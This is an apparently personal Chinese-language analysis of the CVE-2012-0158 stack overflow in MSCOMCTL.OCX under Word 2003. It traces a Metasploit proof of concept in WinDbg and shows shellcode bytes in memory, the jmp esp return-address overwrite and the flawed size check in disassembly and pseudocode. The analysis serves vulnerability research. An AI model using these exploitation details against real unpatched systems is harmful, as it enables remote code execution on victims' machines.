CVE-2012-0158 漏洞分析

这个漏洞分析了几天才搞懂,实战与做实验区别还是很大的。

漏洞概要

此漏洞是一个栈溢出漏洞,是由于 Microsoft Windows Common Controls 的 MSCOMCTL.TreeView、MSCOMCTL.ListView2、MSCOMCTL.TreeView2、MSCOMCTL.ListView 控件(MSCOMCTL.OCX)中存在错误,可被利用破坏内存,导致任意代码执行。

分析环境

  • OS:Windows XP SP3
  • Debugger:WinDbg
  • Target:Mircrosoft Office Word 2003(11.5604.5606)

定位 shellcode

拿到手的是一枚 msf 生成的 POC(exec calc)。考虑到 POC 运行后调用 calc.exe,所以首先选在 kernel32.WinExec 处下断点:bp kernel32!WinExec

运行程序,不出意料地程序断在了 WinExec 处,先来查看下 WinExec 的参数:

0:000> kb L3
ChildEBP RetAddr  Args to Child
00120960 001218e6 00121905 00000001 00000000 kernel32!WinExec
WARNING: Frame IP not in any known module. Following frames may be wrong.
00121853 508b64c0 0c528b30 8b14528b b70f2872 <Unloaded_dui.DLL>+0x1218c5
00121857 0c528b30 8b14528b b70f2872 ff31264a 0x508b64c0
0:000> db 121905
00121905  63 61 6c 63 00 00 00 00-00 00 00 00 00 00 00 00  calc............
00121915  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00121925  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00121935  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00121945  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00121955  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00121965  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00121975  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

确实调用的是 calc。

因为大部分 shellcode 附近都会有一段滑行区(\x90\x90\x90\x90),所以这里直接在栈中搜索 \x90\x90\x90\x90 快速定位 shellcode:

0:000> !py mona find -type bin -b 120000 -t 130000 -s 90909090
Hold on...
[+] Command used:
!py mona.py find -type bin -b 120000 -t 130000 -s 90909090

---------- Mona command started on 2015-09-19 11:02:35 (v2.0, rev 562) ----------
[+] Processing arguments and criteria
    - Pointer access level : *
    - Treating search pattern as bin
[+] Searching from 0x00120000 to 0x00130000
[+] Preparing output file 'find.txt'
    - (Re)setting logfile C:\Documents and Settings\chu\....\mona_logs\WINWORD\find.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Writing results to C:\Documents and Settings\chu\....\mona_logs\WINWORD\find.txt
    - Number of pointers of type '90909090' : 2
[+] Results :
0x00121710 |   0x00121710 : 90909090 | startnull,ascii {PAGE_READWRITE} [Stack]
0x00121714 |   0x00121714 : 90909090 | startnull,ascii {PAGE_READWRITE} [Stack]
    Found a total of 2 pointers

[+] This mona.py action took 0:00:00.562000

查看滑行区附近发现了 0x7c86467b(jmp esp):

0:000> dd 121710-20
001216f0  0a0c0810 6a626f43 00000064 00008282
00121700  00000000 00000000 00000000 7c86467b
00121710  90909090 90909090 9849993f 41469348
00121720  90974f97 97489797 fd969697 47414099
00121730  96f9d6f8 98d699f8 fd97f8fd f94849f5
00121740  423f4840 963f4090 fd4a993f 92484fd6
00121750  4ff9419b 99924727 97494b49 f593903f
00121760  42974240 f9929949 2f3f4e4e 963f3790

对比 poc 文件我们可以确定这就是 shellcode,查看该段内存属性:

0:000> !py mona info -a 121710
Hold on...
[+] Command used:
!py mona.py info -a 121710
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] NtGlobalFlag: 0x00000070
    0x00000040 : +hpc - Enable Heap Parameter Checking
    0x00000020 : +hfc - Enable Heap Free Checking
    0x00000010 : +htc - Enable Heap Tail Checking

[+] Information about address 0x00121710
    startnull,ascii {PAGE_READWRITE}
    Address is part of page 0x00106000 - 0x00130000
    This address is in a stack segment  (Thread 0x000007f0, Stack Base : 0x00106000, Stack Top : 0x00130000)
    Module: None

[+] Disassembly:
    Instruction at 00121710 : NOP

Output of !address 0x00121710:
    00030000 : 00106000 - 0002a000
                    Type     00020000 MEM_PRIVATE
                    Protect  00000004 PAGE_READWRITE
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageStack
                    Pid.Tid  7cc.7f0

[+] This mona.py action took 0:00:00.625000

shellcode 处于栈中,内存属性为 PAGE_READWRITE,所以如果实际利用中为求稳定需要考虑绕过 DEP。

确定函数调用关系

根据网上的资料已知此漏洞是 MSCOMCTL.OCX 控件的问题,故设置一个加载断点:sxe ld:MSCOMCTL.OCX,并在 0x7c86467b 处设置断点。

程序中断在加载处后,单步一段后发现就触发了 jmp esp,在 Command 窗口中可以看到最近调用的函数如下:

0:000> p
eax=08dda94c ebx=01cb2338 ecx=275a3518 edx=08dda8f8 esi=00000000 edi=01cb2350
eip=301ecdca esp=0012181c ebp=001218a8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
winword+0x1ecdca:
301ecdca ff5118          call    dword ptr [ecx+18h]  ds:0023:275a3530=276008d9
0:000> p
Breakpoint 0 hit
eax=00000000 ebx=0a6f0810 ecx=7c93003d edx=00140608 esi=08dad0c4 edi=00000000
eip=7c86467b esp=00121718 ebp=00000000 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
kernel32!UnhandledExceptionFilter+0x7fc:
7c86467b ffe4            jmp     esp {<Unloaded_dui.DLL>+0x1216d7 (00121718)}

查看 276008d9 处信息:

0:000> !py mona info -a 276008d9
Hold on...
[+] Command used:
!py mona.py info -a 276008d9
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] NtGlobalFlag: 0x00000070
    0x00000040 : +hpc - Enable Heap Parameter Checking
    0x00000020 : +hfc - Enable Heap Free Checking
    0x00000010 : +htc - Enable Heap Tail Checking

[+] Information about address 0x276008d9
     {PAGE_EXECUTE_READ}
    Address is part of page 0x27581000 - 0x2762d000
    Section : .text
    Address is part of a module:
    [MSCOMCTL.OCX] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.1.95.45 (C:\WINDOWS\system32\MSCOMCTL.OCX)
    Offset from module base: 0x808d9

[+] Disassembly:
    Instruction at 276008d9 : PUSH EBP
Output of !address 0x276008d9:
    27580000 : 27581000 - 000ac000
                    Type     01000000 MEM_IMAGE
                    Protect  00000020 PAGE_EXECUTE_READ
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageImage
                    FullPath C:\WINDOWS\system32\MSCOMCTL.OCX

[+] This mona.py action took 0:00:20.188000

确定确实是 MSCOMCTL.OCX 控件出的问题。接下来就是在 winword+0x1ecdca 处下断点,跟进:

0:000> p
eax=08e28bf0 ebx=09581fa4 ecx=275a3540 edx=00000000 esi=00000000 edi=09581fbc
eip=27600905 esp=00121808 ebp=00121814 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
MSCOMCTL!DllUnregisterServer+0xc2e:
27600905 ff5114          call    dword ptr [ecx+14h]  ds:0023:275a3554=275b66de
0:000> p
Breakpoint 1 hit
eax=00000000 ebx=0a0a0810 ecx=7c93003d edx=00140608 esi=08e2beac edi=00000000
eip=7c86467b esp=00121718 ebp=00000000 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
kernel32!UnhandledExceptionFilter+0x7fc:
7c86467b ffe4            jmp     esp {<Unloaded_dui.DLL>+0x1216f7 (00121718)}

继续跟进:

······ 省略中间跟进过程 ······
0:000> p
eax=00000000 ebx=0a5f0810 ecx=7c93003d edx=00140608 esi=00186ad4 edi=00000000
eip=275c8a56 esp=0012170c ebp=00000000 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x41d12:
275c8a56 c20800          ret     8
0:000> p
Breakpoint 1 hit
eax=00000000 ebx=0a5f0810 ecx=7c93003d edx=00140608 esi=00186ad4 edi=00000000
eip=7c86467b esp=00121718 ebp=00000000 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
kernel32!UnhandledExceptionFilter+0x7fc:
7c86467b ffe4            jmp     esp {<Unloaded_dui.DLL>+0x1216d7 (00121718)}

最后的函数调用关系如下:

0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00121708 275e701a 08d97aa4 0a0a0810 00000000 MSCOMCTL!DllGetClassObject+0x41c89
00121730 275e7361 08d97aa4 0a0a0810 0a0a0810 MSCOMCTL!DLLGetDocumentation+0xd08
00121750 275ca8b6 08d969d0 0a0a0810 08d96828 MSCOMCTL!DLLGetDocumentation+0x104f
001217d0 2758aee8 08d967d8 00000000 0a0a0810 MSCOMCTL!DllGetClassObject+0x43b72
00121800 27600908 08d96828 0a0a0810 00000000 MSCOMCTL!DllGetClassObject+0x41a4
00121814 301ecdcd 08d9682c 0a0a0810 00000000 MSCOMCTL!DllUnregisterServer+0xc31
001218a8 3032463c 00000000 00000000 09581fa4 winword+0x1ecdcd
001218fc 3046c59c 00000000 00000000 00000001 winword!wdCommandDispatch+0x44983
00121974 302d90c1 00000001 00000000 00000000 winword!wdCommandDispatch+0x18c8e3
00121a38 300424d3 09580a0c 00000002 00121e08 winword+0x2d90c1
00121e6c 7c98d144 7c969564 00140000 0000001e winword+0x424d3
00121f8c 30cc67f6 3160ff00 00aabe1a 00aabd1a ntdll!RtlDebugAllocateHeap+0x281
00121fa8 30cc64e5 00aafffc 00000008 3160ff00 mso!_MsoPvFree+0x129
00121fd0 30cc641e 30cc6431 3160ff00 0000001a mso!Ordinal573+0xff
00122010 300086e1 00000004 00aabd04 00000000 mso!Ordinal573+0x38
00000000 00000000 00000000 00000000 00000000 winword+0x86e1

分析漏洞

具体跟进下 MSCOMCTL!DllGetClassObject+0x41c83,这时将 WinDbg 的 Memory 窗口锁定在 0x12170c,观察具体是走到哪一步造成的溢出:

275c89c7 55              push    ebp
275c89c8 8bec            mov     ebp,esp
;注意只开辟了 0x14 的栈空间
275c89ca 83ec14          sub     esp,14h
275c89cd 53              push    ebx
275c89ce 8b5d0c          mov     ebx,dword ptr [ebp+0Ch]
275c89d1 56              push    esi
275c89d2 57              push    edi
275c89d3 6a0c            push    0Ch
275c89d5 8d45ec          lea     eax,[ebp-14h]
275c89d8 53              push    ebx
275c89d9 50              push    eax
;第一次调用 MSCOMCTL!DllGetClassObject+0x41a29
275c89da e88efdffff      call    MSCOMCTL!DllGetClassObject+0x41a29 (275c876d)
275c89df 83c40c          add     esp,0Ch
275c89e2 85c0            test    eax,eax
275c89e4 7c6c            jl      MSCOMCTL!DllGetClassObject+0x41d0e (275c8a52)
275c89e6 817dec436f626a  cmp     dword ptr [ebp-14h],6A626F43h
275c89ed 0f8592a60000    jne     MSCOMCTL!DllGetClassObject+0x4c341 (275d3085)
275c89f3 837df408        cmp     dword ptr [ebp-0Ch],8
;就是这个比较导致了漏洞,jb:小于跳转,应为大于跳转
275c89f7 0f8288a60000    jb      MSCOMCTL!DllGetClassObject+0x4c341 (275d3085)
275c89fd ff75f4          push    dword ptr [ebp-0Ch]
275c8a00 8d45f8          lea     eax,[ebp-8]
275c8a03 53              push    ebx
275c8a04 50              push    eax
;第二次调用 MSCOMCTL!DllGetClassObject+0x41a29,导致了栈溢出
275c8a05 e863fdffff      call    MSCOMCTL!DllGetClassObject+0x41a29 (275c876d)
275c8a0a 8bf0            mov     esi,eax
······ 省略中间指令 ······
275c8a53 5e              pop     esi
275c8a54 5b              pop     ebx
275c8a55 c9              leave
275c8a56 c20800          ret     8

调用了两次 MSCOMCTL!DllGetClassObject+0x41a29,第二次调用时造成了栈溢出。第二次调用时入栈的三个参数如下:

0:000> dd esp L3
001216dc  00121700 0a130810 00008282

第一个参数指向栈内,第二个参数指向一片内存区域,第三个参数为大小(由后面分析得知)。接下来跟进下 MSCOMCTL!DllGetClassObject+0x41a29,注意继续观察 0x12170c 处的内存变化:

······ 省略中间指令 ······
;参数拷入 edi
275c878a 8b7d10          mov     edi,dword ptr [ebp+10h]
;edi=00008282
275c878d 397dfc          cmp     dword ptr [ebp-4],edi
275c8790 0f85fdb70000    jne     MSCOMCTL!DllGetClassObject+0x4d24f (275d3f93)
······ 省略中间指令 ······
275c87c6 8bc1            mov     eax,ecx
275c87c8 c1e902          shr     ecx,2
;memcpy,造成溢出
275c87cb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
275c87cd 8bc8            mov     ecx,eax
275c87cf 8b4510          mov     eax,dword ptr [ebp+10h]
275c87d2 83e103          and     ecx,3
275c87d5 6a00            push    0
275c87d7 8d5003          lea     edx,[eax+3]
275c87da 83e2fc          and     edx,0FFFFFFFCh

观察溢出前后栈数据的变化:

;溢出前
0:000> db esp
001216c4  00 00 00 00 84 be d9 08-10 08 0a 0a 82 82 00 00  ................
001216d4  08 17 12 00 0a 8a 5c 27-00 17 12 00 08 70 dc 08  ......\'.....p..
001216e4  82 82 00 00 00 00 00 00-84 be d9 08 10 08 0a 0a  ................
001216f4  43 6f 62 6a 64 00 00 00-82 82 00 00 70 bf d9 08  Cobjd.......p...
00121704  e4 59 58 27 30 17 12 00-1a 70 5e 27 84 be d9 08  .YX'0....p^'....
00121714  10 08 0a 0a 00 00 00 00-60 be d9 08 28 8b d9 08  ........`...(...
00121724  96 c2 5a 27 01 00 00 00-50 17 12 00 50 17 12 00  ..Z'....P...P...
00121734  61 73 5e 27 84 be d9 08-10 08 0a 0a 10 08 0a 0a  as^'............
;rep movs dword ptr es:[edi],dword ptr [esi] => memcpy 造成溢出
0:000> p
eax=00008282 ebx=0a0a0810 ecx=00000000 edx=00000000 esi=08dcf288 edi=00129980
eip=275c87cd esp=001216c4 ebp=001216d4 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
MSCOMCTL!DllGetClassObject+0x41a89:
275c87cd 8bc8            mov     ecx,eax
;溢出后
0:000> db esp
001216c4  00 00 00 00 84 be d9 08-10 08 0a 0a 82 82 00 00  ................
001216d4  08 17 12 00 0a 8a 5c 27-00 17 12 00 08 70 dc 08  ......\'.....p..
001216e4  82 82 00 00 00 00 00 00-84 be d9 08 10 08 0a 0a  ................
001216f4  43 6f 62 6a 64 00 00 00-82 82 00 00 00 00 00 00  Cobjd...........
00121704  00 00 00 00 00 00 00 00-7b 46 86 7c 90 90 90 90  ........{F.|....
00121714  90 90 90 90 3f 99 49 98-48 93 46 41 97 4f 97 90  ....?.I.H.FA.O..
00121724  97 97 48 97 97 96 96 fd-99 40 41 47 f8 d6 f9 96  ..H......@AG....
00121734  f8 99 d6 98 fd f8 97 fd-f5 49 48 f9 40 48 3f 42  .........IH.@H?B

可见 shellcode 已经被拷入栈中,并且上层函数返回地址已经被 0x7c86467b(jmp esp)覆盖:

;在上层函数栈桢中观察
0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00121708 7c86467b 90909090 90909090 9849993f MSCOMCTL!DllGetClassObject+0x41cc6
0012196c 00000000 00000000 00000000 00000000 kernel32!UnhandledExceptionFilter+0x7fc

函数 MSCOMCTL!DllGetClassObject+0x41c83 开辟了 0x14 的栈桢,其中两次调用 MSCOMCTL!DllGetClassObject+0x41a29。第二次调用前进行了判断,本应该是小于等于却被写成了大于等于,结果拷入了 0x8282 字节的数据,破坏了上层函数的栈桢,覆盖返回地址,造成代码执行漏洞。

在 IDA 中观察伪代码可以清晰地看到整个流程:

int __stdcall sub_275C89C7(int a1, void *lpMem)
{
  void *v2; // ebx@1
  int result; // eax@1
  int v4; // esi@4
  int v5; // [sp+Ch] [bp-14h]@1
  SIZE_T dwBytes; // [sp+14h] [bp-Ch]@3
  int v7; // [sp+18h] [bp-8h]@4
  int v8; // [sp+1Ch] [bp-4h]@8

  v2 = lpMem;
  //第一次拷贝 0xC 字节
  result = sub_275C876D(&v5, lpMem, 0xCu);
  if ( result >= 0 )
  {
  	//判断错误,应该为 <= 8
    if ( v5 == 1784835907 && dwBytes >= 8 )
    {
      //第二次调用,dwBytes=0x8282,造成溢出
      v4 = sub_275C876D(&v7, v2, dwBytes);
      if ( v4 >= 0 )
      ······ 省略中间代码 ······
  }
  return result;
}

int __cdecl sub_275C876D(void *a1, LPVOID lpMem, SIZE_T dwBytes)
{
  LPVOID v3; // ebx@1
  int result; // eax@1
  LPVOID v5; // eax@3
  int v6; // esi@4
  int v7; // [sp+Ch] [bp-4h]@1
  const void *lpMema; // [sp+1Ch] [bp+Ch]@3

  v3 = lpMem;
  result = (*(int (__stdcall **)(LPVOID, int *, signed int, _DWORD))(*(_DWORD *)lpMem + 12))(lpMem, &v7, 4, 0);
  if ( result >= 0 )
  {
    if ( v7 == dwBytes )
    {
      ······ 省略中间代码 ······
        if ( v6 >= 0 )
        {
          ;memcpy 造成溢出
          memcpy(a1, lpMema, dwBytes);
          v6 = (*(int (__stdcall **)(LPVOID, _UNKNOWN *, SIZE_T, _DWORD))(*(_DWORD *)v3 + 12))(
                 v3,
                 &unk_27632368,
                 ((dwBytes + 3) & 0xFFFFFFFC) - dwBytes,
                 0);
        }
        ······ 省略中间代码 ······
}

References

感谢@大师傅、@二师傅、@小师傅的帮助!